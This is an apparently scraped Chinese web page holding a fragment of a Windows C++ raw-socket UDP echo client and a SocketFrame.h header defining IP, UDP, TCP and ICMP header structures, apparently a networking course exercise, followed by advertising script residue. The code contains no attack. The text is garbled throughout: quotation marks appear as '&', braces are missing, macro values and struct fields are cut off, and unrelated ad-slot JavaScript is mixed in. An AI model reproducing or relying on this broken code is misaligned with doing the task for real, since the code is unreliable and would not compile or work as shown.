//过滤出来自服务器端点地址的UDP回射应答并显示
bResult = UDP_Filter(recvline,uDstIP,uDestPort);
if( bResult == TRUE )
memset(recvline,0,MAXLINE);
if (iResult == SOCKET_ERROR){
printf(&recvfrom 函数调用错误,错误号: %d\n&, WSAGetLastError());
//接收新的回射内容
memset(sendline,0,MAXLINE);
memset(inputline,0,INPUTLINE);
printf(&\n请输入回射字符串:&);
fflush(stdin);
gets_s(inputline,INPUTLINE);
if( *inputline == 'Q'){
printf(&input end!\n&);
int main(int argc, char* argv[])
SOCKET sockSendRaw,sockRecvR
//初始化参数
if (argc != 2)
fprintf(stderr,&\nUsage: EchoUDPClientRaw ***.***.***.***\n&);
//Windows Sockets Dll初始化
frame.start_up();
//创建原始套接字,并设置相应的选项
sockSendRaw = frame.raw_socket( TRUE, FALSE, IPPROTO_IP, NULL);
if ( sockSendRaw == 0 )
return -1;
sockRecvRaw = frame.raw_socket( FALSE, TRUE, IPPROTO_IP, &localaddr);
if ( sockRecvRaw == 0 )
return -1;
printf(&套接字创建成功\n请输入回射字符串:&);
//开始回射请求的发送与接收
//发送从构造IP头开始的UDP数据包,接收过滤,输出结果
iResult = UDP_Echo( sockSendRaw,sockRecvRaw, localaddr.sin_addr.S_un.S_addr ,inet_addr(argv[1]),ECHOPORT, ECHOPORT);
if ( iResult ==1 )
printf(&回射过程出错!\n&);
//结束socket,释放资源
iResult = closesocket(sockSendRaw);
if (iResult == SOCKET_ERROR){
printf(&closesocket 函数调用错误,错误号:%d\n&, WSAGetLastError());
frame.quit( sockRecvRaw );
SocketFrame.h:
#pragma once
#include &winsock2.h&
#include &stdio.h&
#pragma comment(lib,&ws2_32.lib&)
//定义网络框架程序中所需的宏
#define TRUE
#define FALSE
#define MAXLINE
// max text line length
#define DEFAULT_NAMELEN 100 //默认的名字长度
//首部结构定义
typedef struct tagIPHDR
UCHAR hdr_len :4;
// length of the header
UCHAR version :4;
// version of IP
UCHAR TOS;
// Type of service
USHORT TotL
// Total length
USHORT ID;
// Identification
USHORT FlagO
// Flags and fragment offset
UCHAR TTL;
// Time-to-live
// Protocol
// Checksum
// Internet address, source
// Internet address, destination
} IPHDR, *PIPHDR;
typedef struct tagUDPHDR //UDP头定义
USHORT src_
USHORT dst_
USHORT udp_
USHORT udp_
} UDPHDR,*PUDPHDR;
typedef struct tagTCPHDR
//TCP首部定义
//Source port
//Destination port
//Sequence number
//Ack number
// TCP header len (num of bytes && 2)
// Option flags
// Flow control credit (num of bytes)
// Checksum
// Urgent data pointer
} TCPHDR,*PTCPHDR;
//TCP标志字段定义
#define TFIN
// Option flags: no more data
#define TSYN
// sync sequence nums
#define TRST
// reset connection
#define TPUSH
// push buffered data
#define TACK
// acknowledgement
#define TURGE
typedef struct tagFHDR
//UDP伪首部定义
USHORT udp_
} FHDR,*PFHDR;
//ICMP数据报头
typedef struct tagICMPHDR
//16位校验和
//16位标识符
//16位序列号
} ICMPHDR,*PICMPHDR;
#pragma pack()
//ICMP类型字段
const BYTE ICMP_ECHO_REQUEST = 8; //请求回显
const BYTE ICMP_ECHO_REPLY
= 0; //回显应答
const BYTE ICMP_TIMEOUT
= 11; //传输超时
const DWORD DEF_ICMP_TIMEOUT = 3000; //默认超时时间,单位ms
const int DEF_ICMP_DATA_SIZE = 32; //默认ICMP数据部分长度
const int MAX_ICMP_PACKET_SIZE = 1024; //最大ICMP数据报的大小
const int DEF_MAX_HOP = 30;
//最大跳站数
class CSocketFrame
CSocketFrame(void);
~CSocketFrame(void);
int set_address(char * hname, char * sname, struct sockaddr_in * sap, char * protocol);
int start_up(void);
int clean_up(void);
int quit(SOCKET s);
USHORT check_sum(USHORT *pchBuffer, int iSize);
SOCKET tcp_server( char *hname, char *sname );
SOCKET udp_server( char *hname, char *sname );
int recvn(SOCKET s, char * recvbuf, unsigned int fixedlen);
int recvvl(SOCKET s, char * recvbuf, unsigned int recvbuflen);
SOCKET tcp_client( char *hname, char *sname );
SOCKET udp_client( char *hname, char *sname, BOOL flag);
SOCKET raw_socket( BOOL bSendflag, BOOL bRecvflag, int iProtocol, sockaddr_in *pLocalIP);
(window.slotbydup=window.slotbydup || []).push({
id: '2467140',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467141',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467142',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467143',
container: s,
size: '1000,90',
display: 'inlay-fix'
(window.slotbydup=window.slotbydup || []).push({
id: '2467148',
container: s,
size: '1000,90',
display: 'inlay-fix'}

我要回帖

更多关于 录音笔价格 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信